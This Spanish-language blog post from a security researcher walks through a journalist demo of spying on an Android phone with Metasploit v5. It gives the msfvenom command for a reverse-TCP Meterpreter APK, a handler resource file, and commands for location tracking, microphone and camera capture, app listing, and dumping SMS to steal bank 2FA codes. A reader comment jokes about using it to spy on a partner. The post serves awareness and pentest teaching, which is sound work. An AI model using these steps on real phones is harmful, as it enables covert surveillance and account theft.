jueves, junio 13, 2019

Cómo se espían móviles Android con Metasploit v5

Lo que hoy voy a contar no es algo actual, más allá de la versión 5 de Metasploit uno de los frameworks más utilizados en la ciberseguridad. Metasploit ha liberado hace un tiempo la versión 5 de su framework con cosas más que interesantes y que hacen que la herramienta haya ganado en muchas cosas, incluidas una estabilidad que ya había alcanzado. Pero como decía, no hablaré de cosas actuales, ya que el Meterpreter de Android es un payload ya con unos cuantos años a sus espaldas, pero ha ido evolucionando y mucho desde que jugamos con él en este blog allá por el año 2014.

Figura 1: Cómo se espían móviles Android con Metasploit v5

¿Por qué vuelvo a tocar este tema? Pues porque recientemente una periodista quería conocer más detalles sobre la seguridad en los dispositivos móviles, el acceso a redes públicas, etcétera. Quería comprobar cómo funcionaba o podía funcionar una aplicación en un dispositivo móvil que diera el control a recursos críticos para un usuario como la cámara, el micrófono o la ubicación.

Metasploit para Android

En el equipo de Ideas Locas preparamos un supuesto dónde teníamos un móvil Android infectado, lo más rápido tirar del Meterpreter de Android. Eso o pagar 170€, Euro arriba/abajo, anuales por servicios de control remoto de aplicaciones que utilizamos ya en el reportaje que Chema Alonso grabó con Jordi Évole en Salvados.


Figura 3: Demo de cómo controlar remotamente un terminal móvil

Metasploit me ha gustado siempre y, por ello, quería realizar la demo con ello. Aparte del coste 0. Decidí tirar de Metasploit en su versión 5, del cual hablaré más adelante, en otros posts, ya que tiene novedades interesantes. Y prueba de que siempre me ha gustado Metasploit son los dos libros que he escrito sobre él.

Figura 4: Libro de Metasploit para Pentesters 4ª Edición & Hacking con Metasploit en 0xWord

Para este ejemplo, lo primero era crear ese APK que contendrá el Meterpreter y que al ejecutar la aplicación pues lanzará a éste. Para crear la APK se ha utilizado la herramienta msfvenom. Hay que decir que otras opciones eran utilizar una app legítima y modificar su código para inyectar el Meterpreter. Esto se podía explicar a la compañera periodista, para que entendiera como podía llevarse a cabo la infección en el mundo real. Fuimos por el camino fácil para la demo. Para la generación de la APK se ejecutó:
msfvenom –p Android/meterpreter/reverse_tcp LHOST=[IP a la que se conecta el meterpreter] LPORT=[Puerto al que se conecta el meterpreter] R > [nombre APK].
Una vez instalado el APK en el dispositivo se puede configurar el handler de Metasploit para poder recibir la conexión y poder trabajar la comunicación y órdenes que se van a ejecutar.

Figura 5: Generando el APK malicioso

Si quieres automatizar la configuración de módulos puedes utilizar los ficheros RC de Metasploit. Para este caso, podríamos crear un fichero RC, por ejemplo, llamado androidMeterpreter.rc con el siguiente contenido:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0 #Esto nos permite contestar a las peticiones que lleguen por cualquier interfaz de red run –j #Para que se genere el hander como un job
Una vez que la app de Android se ejecute, el Meterpreter se lanzará y conectará contra la IP configurada. Para la demo, tuvimos que configurarlo accesible desde Internet, ya que al final la idea era que pasáramos por diferentes lugares y pudiéramos hacernos tracking, entre otras cosas.

Riesgos expuestos y funcionalidades

¿Qué se quería mostrar en la demo realmente? Principalmente era demostrar que se puede ubicar un dispositivo, que se puede consultar la cámara, que se puede poner el micrófono a escuchar, que se podía capturar los SMS que, por ejemplo, un banco te envía como 2FA, que se puede enviar SMS desde el dispositivo “infectado”, etcétera. Todo lo que se puede hacer, hacen y cómo lo hacen lo puedes aprender de verdad con el libro de "Malware en Andorid: Discovering, Reversing and Forensics" que escribió nuestro compañero Miguel Ángel García del Moral. Una pasada.

Figura 6: Libro de Malware en Android: Discovering, Reversing & Forensics

Lo primero que probamos es el tema de la geolocalización. Por ejemplo, si nosotros nos llevamos el teléfono por Madrid y nos damos una vuelta podríamos ir rastreando dónde se encuentra gracias a la funcionalidad. Meterpreter dispone de otra posibilidad de geolocalización de las red Wi-Fi a la está conectado el terminal. Esto se puede ejecutar a través del comando wlan_geolocate. Debemos tener en cuenta que necesitaremos de una API Key.

Figura 7: Geolocalización del terminal

Otra pregunta típica es la de, ¿nos escuchan? ¿nos espían? Hay muchas posibles respuestas a esto. ¿Tecnológicamente se puede? Claro que sí. ¿Tienes indicios? Revisa tu dispositivo. Por ello, una de las opciones que se querían mostrar en la demo es cómo se puede hacer uso del micrófono, porque se aceptó el permiso en la instalación de la aplicación, y se puede grabar lo que se dice cerca del dispositivo.

El comando para ejecutar esto es record_mic y con el parámetro –d se puede indicar el número de segundos que se quiere grabar. El resultado es un fichero WAV con el audio con lo que dicen los actores que están cerca del dispositivo.

Figura 8: Grabando con el micrófono

Por supuesto, en una demo dónde sale una grabación de micrófono viene la de la captura a través de la cámara. En algunas charlas de concienciación siempre he dicho que llevamos un micrófono y un par de cámaras, una por delante y otra por detrás, con nosotros todos los días y muchas horas al día encima. Por ello, utilizamos el comando webcam_snap para hacer una captura de lo que se ve por esas cámaras del dispositivo.

Figura 9: Grabando con la webcam del terminal móvil

Además, existe el comando webcam_stream con el que se puede hacer una especie de “streaming” de lo que se ve a través de la cámara del dispositivo. Hay que tener claro que esto son una serie de capturas con la cámara y que en función del dispositivo puede tener mejor o peor calidad.

Otra de las cosas que se querían para la demo es ver qué aplicaciones hay instaladas. Esto da más información de lo que a priori podemos pensar. Hace un tiempo, en un Equinox de ElevenPaths, junto a mi compañero Ioseba Palop, se nos ocurrió hacer un sistema al que le pasaras una captura de tráfico y con esto pudieras deducir aplicaciones instaladas en el dispositivo de un usuario.


Figura 10: Codetalk For Develoopers sobre Air Profiling

La idea era poder saber cuál era el banco de un usuario, ya que éste no tendrá, generalmente, instalada una app de un banco dónde no tiene un banco o si el usuario hace compras o vende en Wallapop, etcétera. A este sistema lo llamamos AirProfiling y luego lo presentamos como TFM para alumnos. Pero si el dispositivo está infectado, con el comando app_list de Meterpreter podemos sacar las aplicaciones que hay instaladas en el dispositivo y podemos deducir este tipo de cosas.

Figura 11: Lista de apps instaladas en el dispositivo infectado

Por último, se puede hacer un dump de diferentes campos: contactos, sms o registro de llamadas. Son aspectos interesantes y en la demo quisimos enfocar que conseguir un volcado de SMS, aunque no sean WhatsApp, puede ser vital. ¿Por qué? Muchas entidades bancarias y otros servicios envían el 2FA por SMS. En otras palabras, se quiso ejemplificar el posible robo del 2FA a través del SMS.

Por otro lado, este Meterpreter dispone de la posibilidad de enviar SMS a través de este dispositivo. Esto se realiza con el comando send_sms, por lo que la amenaza de suscripción a sistemas Premium y otro tipo de riesgos es grande.

Figura 12: Mensajes SMS

Al final mi compañera Carmen Torrano defendió la demo y la llevo a cabo. Como siempre hay que tener en cuenta las posibilidades de Metasploit, las cuales parecen infinitas, y tenerlo siempre a mano para nuestros proyectos de pentesting.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

2 comentarios:

  1. Buenas, suelo de vez en cuando revisar artículos como éste porque soy un pelín fobias con los aparatos y todo lo que hacen sin que me entere.
    La lectura de éste me lleva a preguntarme si esto no podría utilizarse para "securizar" un móvil, de tal forma que si me lo afanan, pueda (mientras el ladrón) tener controlado lo que ocurre con él.
    ¿Sería además posible controlar el acceso a mi terminal desde mi propio terminal (abrir y cerrar la puerta)?
    Quizás esté diciendo alguna tontería y exista ya algún software que haga este trabajo, hasta ahora algún antivirus de pago que he usado hace cosas, pero queda a años luz del control completo que quiero tener de mi terminal y puede además que no me interese que nadie que no sea yo me meta la verga de manera tan grosa como me gustaría, según lo explicado.

    Saludos,

    L

    ResponderEliminar
    Respuestas
    1. Parece que alguien quiere monitorizar el terminal de su pareja all-time metiéndole un troyano con la excusa de "ya te lo configuro yo, cari"...

      Eliminar